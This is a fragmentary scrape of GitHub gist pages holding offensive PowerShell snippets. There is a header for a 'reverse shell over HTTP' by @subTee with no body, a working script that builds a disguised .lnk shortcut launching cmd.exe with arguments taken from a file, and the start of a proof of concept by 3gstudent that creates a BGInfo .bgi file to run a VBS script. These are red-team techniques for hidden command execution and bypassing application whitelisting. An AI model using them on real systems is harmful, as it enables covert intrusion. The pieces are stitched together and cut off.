This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
Author: Casey Smith @subTee | |
License: BSD3-Clause | |
.SYNOPSIS | |
Simple Reverse Shell over HTTP. Execute Commands on Client. | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$file = Get-Content "c:\test\test.txt" | |
$WshShell = New-Object -comObject WScript.Shell | |
$Shortcut = $WshShell.CreateShortcut("c:\test\test.lnk") | |
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe" | |
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" | |
$Shortcut.Arguments = ' '+ $file | |
$Shortcut.Save() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
A quick POC to create .bgi file | |
Author: 3gstudent @3gstudent | |
This way learned from Oddvar Moe [MVP]@Oddvarmoe | |
Many thanks to him | |
Link: https://msitpros.com/?p=3831 | |
#> | |
# Change this,set the path of vbs (Disk directory requires capital letter) | |
$VbsPath="C:\test\cmd.vbs" |